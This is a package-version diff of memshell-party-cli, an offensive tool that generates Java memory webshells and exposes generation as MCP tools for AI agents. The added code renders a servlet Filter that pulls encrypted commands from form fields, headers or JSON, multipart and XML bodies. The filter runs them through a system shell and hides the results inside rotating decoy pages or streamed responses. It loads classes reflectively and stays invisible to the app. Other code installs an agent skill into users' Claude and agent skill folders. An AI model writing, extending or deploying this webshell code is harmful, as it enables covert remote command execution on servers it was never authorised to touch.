memshell-party-cli 0.5.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.js CHANGED
@@ -41,6 +41,14 @@ var MemPartyClient = class {
41
41
  getCommandConfigs() {
42
42
  return this.request("GET", "/api/config/command/configs");
43
43
  }
44
+ /**
45
+ * Servers the ResponseBody probe can write a response on.
46
+ * Only exists on backend >= 2.9.0 — callers should fall back to the full
47
+ * server list when this endpoint 404s.
48
+ */
49
+ getProbeResponseBodyServers() {
50
+ return this.request("GET", "/api/config/probe/response-body/servers");
51
+ }
44
52
  getVersion() {
45
53
  return this.request("GET", "/api/version");
46
54
  }
@@ -256,6 +264,21 @@ function emitPayload(payload, opts, sinks = {}) {
256
264
  `);
257
265
  return { destination: "stdout", size: payload.length, decoded: false };
258
266
  }
267
+ function hasMultiplePackResults(r) {
268
+ return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
269
+ }
270
+ function emitSinglePackResult(r, opts, sinks = {}) {
271
+ if (hasMultiplePackResults(r)) {
272
+ const n = Object.keys(r.allPackResults).length;
273
+ throw new Error(
274
+ `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
275
+ );
276
+ }
277
+ if (r.packResult === void 0) {
278
+ throw new Error("Server returned no packResult.");
279
+ }
280
+ return emitPayload(r.packResult, opts, sinks);
281
+ }
259
282
 
260
283
  // src/core/config.ts
261
284
  import { readFileSync } from "fs";
@@ -1933,7 +1956,10 @@ var memShellInput = {
1933
1956
  shellClassBase64: z.string().optional(),
1934
1957
  urlPattern: z.string().optional(),
1935
1958
  injectorClassName: z.string().optional(),
1936
- staticInitialize: z.boolean().optional()
1959
+ staticInitialize: z.boolean().optional(),
1960
+ outputFile: z.string().optional().describe(
1961
+ "also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
1962
+ )
1937
1963
  };
1938
1964
  var probeInput = {
1939
1965
  probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
@@ -1951,7 +1977,8 @@ var probeInput = {
1951
1977
  sleepServer: z.string().optional(),
1952
1978
  server: z.string().optional(),
1953
1979
  reqParamName: z.string().optional(),
1954
- commandTemplate: z.string().optional()
1980
+ commandTemplate: z.string().optional(),
1981
+ outputFile: memShellInput.outputFile
1955
1982
  };
1956
1983
  var connectInput = {
1957
1984
  name: z.string().optional().describe(
@@ -2079,7 +2106,11 @@ function createMcpServer(client) {
2079
2106
  );
2080
2107
  server.registerTool(
2081
2108
  "generate_memshell",
2082
- { title: "Generate memory shell", description: "Generate a Java memory shell payload", inputSchema: memShellInput },
2109
+ {
2110
+ title: "Generate memory shell",
2111
+ description: "Generate a Java memory shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
2112
+ inputSchema: memShellInput
2113
+ },
2083
2114
  async (args) => {
2084
2115
  const meta = {
2085
2116
  server: args.server,
@@ -2092,6 +2123,7 @@ function createMcpServer(client) {
2092
2123
  const started = Date.now();
2093
2124
  try {
2094
2125
  const response = await client.generateMemShell(buildMemShellRequest(args));
2126
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2095
2127
  logOp({
2096
2128
  category: "gen",
2097
2129
  action: "gen",
@@ -2100,7 +2132,7 @@ function createMcpServer(client) {
2100
2132
  detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
2101
2133
  meta
2102
2134
  });
2103
- return jsonContent(response);
2135
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
2104
2136
  } catch (err) {
2105
2137
  logOp({
2106
2138
  category: "gen",
@@ -2116,7 +2148,11 @@ function createMcpServer(client) {
2116
2148
  );
2117
2149
  server.registerTool(
2118
2150
  "generate_probe",
2119
- { title: "Generate probe shell", description: "Generate a probe/detection shell payload", inputSchema: probeInput },
2151
+ {
2152
+ title: "Generate probe shell",
2153
+ description: "Generate a probe/detection shell payload. The packed payload comes back in `packResult`; pass `outputFile` to also write it to a local file (base64 auto-decoded for .class/.jar/.zip/.ser/.bin).",
2154
+ inputSchema: probeInput
2155
+ },
2120
2156
  async (args) => {
2121
2157
  const meta = {
2122
2158
  probeMethod: args.probeMethod,
@@ -2127,6 +2163,7 @@ function createMcpServer(client) {
2127
2163
  const started = Date.now();
2128
2164
  try {
2129
2165
  const response = await client.generateProbe(buildProbeRequest(args));
2166
+ const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
2130
2167
  logOp({
2131
2168
  category: "probe",
2132
2169
  action: "probe",
@@ -2135,7 +2172,7 @@ function createMcpServer(client) {
2135
2172
  detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
2136
2173
  meta
2137
2174
  });
2138
- return jsonContent(response);
2175
+ return jsonContent(outputFile === void 0 ? response : { ...response, outputFile });
2139
2176
  } catch (err) {
2140
2177
  logOp({
2141
2178
  category: "probe",
@@ -2664,6 +2701,13 @@ import { join as join6 } from "path";
2664
2701
  import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
2665
2702
  import { homedir as homedir4 } from "os";
2666
2703
  import { join as join5 } from "path";
2704
+ function inferBodyTemplateContentType(bodyTemplate) {
2705
+ const t = bodyTemplate.trimStart();
2706
+ if (t.startsWith("--")) return "multipart/form-data";
2707
+ if (t.startsWith("{") || t.startsWith("[")) return "application/json";
2708
+ if (t.startsWith("<")) return "text/xml";
2709
+ return null;
2710
+ }
2667
2711
  function profileTemplates(profile) {
2668
2712
  if (Array.isArray(profile.templates) && profile.templates.length > 0) {
2669
2713
  return profile.templates;
@@ -2685,9 +2729,98 @@ function profileRequests(profile) {
2685
2729
  }
2686
2730
 
2687
2731
  // src/custom/java-template.ts
2732
+ function renderWrapperJava() {
2733
+ return `package mimic;
2734
+
2735
+ import java.io.*;
2736
+ import javax.servlet.*;
2737
+ import javax.servlet.http.*;
2738
+
2739
+ /** Re-exposes a consumed request body to downstream filters/servlets. */
2740
+ public class CachedBody extends HttpServletRequestWrapper {
2741
+ private final byte[] body;
2742
+
2743
+ public CachedBody(HttpServletRequest req, byte[] body) {
2744
+ super(req);
2745
+ this.body = body;
2746
+ }
2747
+
2748
+ public ServletInputStream getInputStream() {
2749
+ return new Stream(body);
2750
+ }
2751
+
2752
+ public BufferedReader getReader() {
2753
+ return new BufferedReader(new InputStreamReader(getInputStream()));
2754
+ }
2755
+
2756
+ static class Stream extends ServletInputStream {
2757
+ private final ByteArrayInputStream in;
2758
+
2759
+ Stream(byte[] body) {
2760
+ this.in = new ByteArrayInputStream(body);
2761
+ }
2762
+
2763
+ public int read() {
2764
+ return in.read();
2765
+ }
2766
+
2767
+ public boolean isFinished() {
2768
+ return in.available() == 0;
2769
+ }
2770
+
2771
+ public boolean isReady() {
2772
+ return true;
2773
+ }
2774
+
2775
+ public void setReadListener(ReadListener l) {}
2776
+ }
2777
+ }
2778
+ `;
2779
+ }
2688
2780
  function javaStringLiteral(s) {
2689
2781
  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2690
2782
  }
2783
+ function wrapperLoaderMethods(opts) {
2784
+ return `
2785
+ /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
2786
+ uploaded shell stays a single self-contained class file */
2787
+ static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
2788
+ static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
2789
+
2790
+ static Class<?> forNameQuiet(String name, ClassLoader cl) {
2791
+ try {
2792
+ return Class.forName(name, true, cl);
2793
+ } catch (Throwable t) {
2794
+ return null;
2795
+ }
2796
+ }
2797
+
2798
+ static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
2799
+ try {
2800
+ java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
2801
+ String.class, byte[].class, int.class, int.class);
2802
+ m.setAccessible(true);
2803
+ byte[] bytes = java.util.Base64.getDecoder().decode(b64);
2804
+ return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
2805
+ } catch (Throwable t) {
2806
+ return null; // another shell in this JVM already defined it
2807
+ }
2808
+ }
2809
+
2810
+ /** Wrap the request so downstream code can re-read the JSON body we consumed. */
2811
+ static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
2812
+ ClassLoader cl = ${opts.className}.class.getClassLoader();
2813
+ Class<?> c = forNameQuiet("mimic.CachedBody", cl);
2814
+ if (c == null) {
2815
+ defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
2816
+ c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
2817
+ if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
2818
+ }
2819
+ return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
2820
+ .newInstance(req, body);
2821
+ }
2822
+ `;
2823
+ }
2691
2824
  var MD5_METHOD = String.raw`
2692
2825
  static String md5Hex(String s) throws Exception {
2693
2826
  MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2823,9 +2956,11 @@ function sharedMethods(cipher) {
2823
2956
  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2824
2957
  }
2825
2958
  function renderFilterJava(opts) {
2826
- const { className, pass, secret, fields, templates, cipher } = opts;
2959
+ const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
2827
2960
  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2828
- const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
2961
+ const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
2962
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
2963
+ const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
2829
2964
  return `package mimic;
2830
2965
 
2831
2966
  import java.io.*;
@@ -2840,37 +2975,120 @@ import javax.servlet.http.*;
2840
2975
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
2841
2976
  * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2842
2977
  *
2843
- * Detection uses getParameter()/getHeader() only, never reads the body
2844
- * stream: form posts are parsed+cached by the container so downstream
2845
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
2846
- * untouched body stream for the shell behind us. Anything that is not ours
2847
- * falls through chain.doFilter; any error answers with the cover page.
2978
+ * Detection uses getParameter()/getHeader() first, never touching the body
2979
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
2980
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
2981
+ * still see the body. Anything that is not ours falls through chain.doFilter;
2982
+ * any error answers with the plain cover template.
2848
2983
  */
2849
2984
  public class ${className} implements Filter {
2850
2985
  /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2851
2986
  static final String[] FIELDS = { ${fieldsJava} };
2987
+ /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
2988
+ static final String[] BODY_CTS = { ${bodyCtsJava} };
2852
2989
  /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2853
2990
  static final String PASS = "${javaStringLiteral(pass)}";
2854
2991
  static final String SECRET = "${javaStringLiteral(secret)}";
2855
- /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
2992
+ /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
2856
2993
  static final String[] TPLS = {
2857
2994
  ${tplsJava}
2858
2995
  };
2996
+ /** Content-Type of each cover body (parallel to TPLS). */
2997
+ static final String[] CTS = { ${ctsJava} };
2859
2998
 
2860
2999
  public void init(FilterConfig filterConfig) {}
2861
3000
  public void destroy() {}
2862
3001
  ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
3002
+ static byte[] readAll(InputStream in) throws IOException {
3003
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
3004
+ byte[] buf = new byte[8192];
3005
+ int n;
3006
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
3007
+ return bos.toByteArray();
3008
+ }
3009
+
3010
+ /** read the body only when its Content-Type is one the profile actually uses */
3011
+ static boolean ctMatches(String ct) {
3012
+ String l = ct.toLowerCase();
3013
+ for (String n : BODY_CTS) if (l.contains(n)) return true;
3014
+ return false;
3015
+ }
3016
+
3017
+ /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
3018
+ static String jsonField(String body, String field) {
3019
+ String needle = "\\"" + field + "\\"";
3020
+ int i = body.indexOf(needle);
3021
+ if (i < 0) return null;
3022
+ int colon = body.indexOf(':', i + needle.length());
3023
+ if (colon < 0) return null;
3024
+ int q1 = body.indexOf('"', colon + 1);
3025
+ if (q1 < 0) return null;
3026
+ int q2 = body.indexOf('"', q1 + 1);
3027
+ if (q2 < 0) return null;
3028
+ return body.substring(q1 + 1, q2);
3029
+ }
3030
+
3031
+ /** minimal multipart extraction: the value follows the part headers of name="field" */
3032
+ static String multipartField(String body, String field) {
3033
+ String needle = "name=\\"" + field + "\\"";
3034
+ int i = body.indexOf(needle);
3035
+ if (i < 0) return null;
3036
+ int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
3037
+ int sepLen = 4;
3038
+ if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
3039
+ if (sep < 0) return null;
3040
+ int start = sep + sepLen;
3041
+ int end = body.indexOf('\\n', start);
3042
+ if (end < 0) end = body.length();
3043
+ String v = body.substring(start, end).trim();
3044
+ return v.isEmpty() ? null : v;
3045
+ }
3046
+
3047
+ /** minimal XML extraction: <field>value</field> */
3048
+ static String xmlField(String body, String field) {
3049
+ String open = "<" + field + ">";
3050
+ int i = body.indexOf(open);
3051
+ if (i < 0) return null;
3052
+ int start = i + open.length();
3053
+ int end = body.indexOf("</" + field + ">", start);
3054
+ if (end < 0) return null;
3055
+ return body.substring(start, end);
3056
+ }
3057
+ ${wrapperLoaderMethods(opts)}
2863
3058
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2864
3059
  throws IOException, ServletException {
3060
+ HttpServletRequest httpReq = request instanceof HttpServletRequest
3061
+ ? (HttpServletRequest) request : null;
2865
3062
  String value = null;
2866
3063
  for (String f : FIELDS) {
2867
3064
  value = request.getParameter(f);
2868
- if (value == null && request instanceof HttpServletRequest) {
3065
+ if (value == null && httpReq != null) {
2869
3066
  // secretIn=header: the ciphertext may ride a header instead of a form field
2870
- value = ((HttpServletRequest) request).getHeader(f);
3067
+ value = httpReq.getHeader(f);
2871
3068
  }
2872
3069
  if (value != null) break;
2873
3070
  }
3071
+ if (value == null && httpReq != null) {
3072
+ // the ciphertext may ride a raw body of any bodyTemplate shape
3073
+ // (JSON / multipart / XML\u2026). Read it once and re-expose it
3074
+ // downstream via the caching wrapper.
3075
+ String ct = httpReq.getContentType();
3076
+ if (ct != null && ctMatches(ct)) {
3077
+ try {
3078
+ byte[] bodyBytes = readAll(httpReq.getInputStream());
3079
+ String bodyText = new String(bodyBytes, "UTF-8");
3080
+ for (String f : FIELDS) {
3081
+ value = jsonField(bodyText, f);
3082
+ if (value == null) value = multipartField(bodyText, f);
3083
+ if (value == null) value = xmlField(bodyText, f);
3084
+ if (value != null) break;
3085
+ }
3086
+ request = wrapBody(httpReq, bodyBytes);
3087
+ } catch (Throwable wrapperFailed) {
3088
+ // the body is already consumed \u2014 pass through as-is
3089
+ }
3090
+ }
3091
+ }
2874
3092
  if (value == null) {
2875
3093
  chain.doFilter(request, response);
2876
3094
  return;
@@ -2882,11 +3100,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2882
3100
  cmd = decryptField(value, aesKey);
2883
3101
  } catch (Exception notOurs) {
2884
3102
  // the field exists but doesn't decrypt \u2014 this is someone else's
2885
- // legitimate form (e.g. the real login POST), stay invisible
3103
+ // legitimate request (e.g. the real login POST), stay invisible
2886
3104
  chain.doFilter(request, response);
2887
3105
  return;
2888
3106
  }
2889
- String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
3107
+ int ti = new java.util.Random().nextInt(TPLS.length);
3108
+ String tpl = TPLS[ti];
3109
+ String tplCt = CTS[ti];
2890
3110
  try {
2891
3111
  String command = new String(cmd, "UTF-8");
2892
3112
  boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2895,22 +3115,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2895
3115
  : new ProcessBuilder("/bin/sh", "-c", command);
2896
3116
  pb.redirectErrorStream(true);
2897
3117
  Process proc = pb.start();
2898
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
2899
- InputStream in = proc.getInputStream();
2900
- byte[] buf = new byte[8192];
2901
- int n;
2902
- while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2903
3118
  proc.waitFor();
2904
- String payload = encryptField(bos.toByteArray(), aesKey);
2905
- String fragment = wrapPayload(payload, PASS + SECRET);
2906
- int idx = tpl.toLowerCase().lastIndexOf("</body>");
2907
- String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2908
- response.setContentType("text/html;charset=UTF-8");
3119
+ String payload = encryptField(readAll(proc.getInputStream()), aesKey);
3120
+ String page;
3121
+ if (tpl.contains("{{payload}}")) {
3122
+ // placeholder template (any text format): substitute exactly there
3123
+ page = tpl.replace("{{payload}}", payload);
3124
+ } else {
3125
+ String fragment = wrapPayload(payload, PASS + SECRET);
3126
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
3127
+ page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
3128
+ }
3129
+ response.setContentType(tplCt);
2909
3130
  response.setCharacterEncoding("UTF-8");
2910
- response.getWriter().write(page);
3131
+ if (tplCt.contains("event-stream")) {
3132
+ // flush chunk by chunk \u2014 a real SSE endpoint streams, a
3133
+ // one-shot body is the wrong shape on the wire
3134
+ java.io.PrintWriter w = response.getWriter();
3135
+ for (String chunk : page.split("\\n\\n", -1)) {
3136
+ if (chunk.isEmpty()) continue;
3137
+ w.write(chunk);
3138
+ w.write("\\n\\n");
3139
+ w.flush();
3140
+ response.flushBuffer();
3141
+ try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
3142
+ }
3143
+ } else {
3144
+ response.getWriter().write(page);
3145
+ }
2911
3146
  } catch (Exception e) {
2912
- // behave like the cover page on any error \u2014 stay quiet
2913
- response.setContentType("text/html;charset=UTF-8");
3147
+ // behave like the cover body on any error \u2014 stay quiet
3148
+ response.setContentType(tplCt);
2914
3149
  response.getWriter().write(tpl);
2915
3150
  }
2916
3151
  }
@@ -3005,6 +3240,29 @@ function profileSecretFields(profile) {
3005
3240
  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
3006
3241
  return fields.length > 0 ? fields : ["pass"];
3007
3242
  }
3243
+ function ctNeedle(ct) {
3244
+ const media = ct.toLowerCase().split(";", 1)[0].trim();
3245
+ if (media.includes("json")) return "json";
3246
+ if (media.includes("multipart")) return "multipart";
3247
+ if (media.includes("xml")) return "xml";
3248
+ return media;
3249
+ }
3250
+ function profileBodyContentTypes(profile) {
3251
+ const needles = /* @__PURE__ */ new Set();
3252
+ for (const r of profileRequests(profile)) {
3253
+ if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
3254
+ if (r.bodyTemplate !== void 0) {
3255
+ const explicit = Object.entries(r.headers ?? {}).find(
3256
+ ([k]) => k.toLowerCase() === "content-type"
3257
+ )?.[1];
3258
+ const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
3259
+ if (ct) needles.add(ctNeedle(ct));
3260
+ } else if (r.bodyStyle === "json") {
3261
+ needles.add("json");
3262
+ }
3263
+ }
3264
+ return [...needles];
3265
+ }
3008
3266
  function defaultClassName() {
3009
3267
  return `MimicFilter${randomString(4)}`;
3010
3268
  }
@@ -3016,20 +3274,32 @@ async function buildCustomMemshell(input, client, deps = {}) {
3016
3274
  const urlPattern = input.urlPattern ?? "/*";
3017
3275
  const packer = input.packer ?? "DefaultBase64";
3018
3276
  const cipher = resolveCipher(input.profile.cipher);
3019
- const templates = profileTemplates(input.profile).map((t) => t.template);
3277
+ const templates = profileTemplates(input.profile).map((t) => ({
3278
+ template: t.template,
3279
+ contentType: t.contentType
3280
+ }));
3020
3281
  if (templates.length === 0) {
3021
3282
  throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
3022
3283
  }
3023
3284
  const outDir = input.outDir;
3024
3285
  const packageDir = join6(outDir, "mimic");
3025
3286
  mkdirSync4(packageDir, { recursive: true });
3287
+ const wrapperFile = join6(packageDir, "CachedBody.java");
3288
+ writeFileSync5(wrapperFile, renderWrapperJava(), "utf8");
3289
+ compile([wrapperFile], outDir, { classpath: [jarOf()] });
3290
+ const wrapper = {
3291
+ bodyB64: readFileSync6(join6(packageDir, "CachedBody.class")).toString("base64"),
3292
+ streamB64: readFileSync6(join6(packageDir, "CachedBody$Stream.class")).toString("base64")
3293
+ };
3026
3294
  const javaSource = renderFilterJava({
3027
3295
  className,
3028
3296
  pass: input.pass,
3029
3297
  secret: input.secret,
3030
3298
  fields: profileSecretFields(input.profile),
3299
+ bodyContentTypes: profileBodyContentTypes(input.profile),
3031
3300
  templates,
3032
- cipher
3301
+ cipher,
3302
+ wrapper
3033
3303
  });
3034
3304
  const javaFile = join6(packageDir, `${className}.java`);
3035
3305
  writeFileSync5(javaFile, javaSource, "utf8");
@@ -3104,6 +3374,45 @@ async function buildCustomMemshell(input, client, deps = {}) {
3104
3374
  `, "utf8");
3105
3375
  return result;
3106
3376
  }
3377
+
3378
+ // src/core/skill-install.ts
3379
+ import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
3380
+ import { homedir as homedir5 } from "os";
3381
+ import { join as join7 } from "path";
3382
+ import { fileURLToPath as fileURLToPath2 } from "url";
3383
+ var SKILL_NAME = "memshell-party";
3384
+ function skillSourceDir() {
3385
+ const candidates = [
3386
+ new URL(`../skills/${SKILL_NAME}`, import.meta.url),
3387
+ // dist/*.js
3388
+ new URL(`../../skills/${SKILL_NAME}`, import.meta.url)
3389
+ // src/core/*.ts
3390
+ ];
3391
+ for (const candidate of candidates) {
3392
+ const p = fileURLToPath2(candidate);
3393
+ if (existsSync6(p)) return p;
3394
+ }
3395
+ throw new Error(`bundled skill not found (expected skills/${SKILL_NAME} in the package)`);
3396
+ }
3397
+ function skillTargetDir(scope, projectDir) {
3398
+ switch (scope) {
3399
+ case "user":
3400
+ return join7(homedir5(), ".agents", "skills", SKILL_NAME);
3401
+ case "claude":
3402
+ return join7(homedir5(), ".claude", "skills", SKILL_NAME);
3403
+ case "project":
3404
+ return join7(projectDir ?? process.cwd(), "skills", SKILL_NAME);
3405
+ }
3406
+ }
3407
+ function installSkill(scopes, opts = {}) {
3408
+ const src = opts.sourceDir ?? skillSourceDir();
3409
+ return scopes.map((scope) => {
3410
+ const dir = skillTargetDir(scope, opts.projectDir);
3411
+ mkdirSync5(dir, { recursive: true });
3412
+ cpSync(src, dir, { recursive: true });
3413
+ return { scope, dir, files: readdirSync2(dir).sort() };
3414
+ });
3415
+ }
3107
3416
  export {
3108
3417
  ApiError,
3109
3418
  CLI_VERSION,
@@ -3113,6 +3422,7 @@ export {
3113
3422
  LEGACY_CIPHER,
3114
3423
  MemPartyClient,
3115
3424
  OUTPUT_LIMIT,
3425
+ SKILL_NAME,
3116
3426
  autoSaveShell,
3117
3427
  buildCustomMemshell,
3118
3428
  buildMemShellRequest,
@@ -3126,6 +3436,7 @@ export {
3126
3436
  formatOp,
3127
3437
  getProject,
3128
3438
  hasJavac,
3439
+ installSkill,
3129
3440
  listProjects,
3130
3441
  logOp,
3131
3442
  marshalFrameBase64,
@@ -3145,6 +3456,8 @@ export {
3145
3456
  saveShell,
3146
3457
  saveShellMeta,
3147
3458
  shouldDecode,
3459
+ skillSourceDir,
3460
+ skillTargetDir,
3148
3461
  startMcpStdio,
3149
3462
  targetStorePath,
3150
3463
  testBehinder,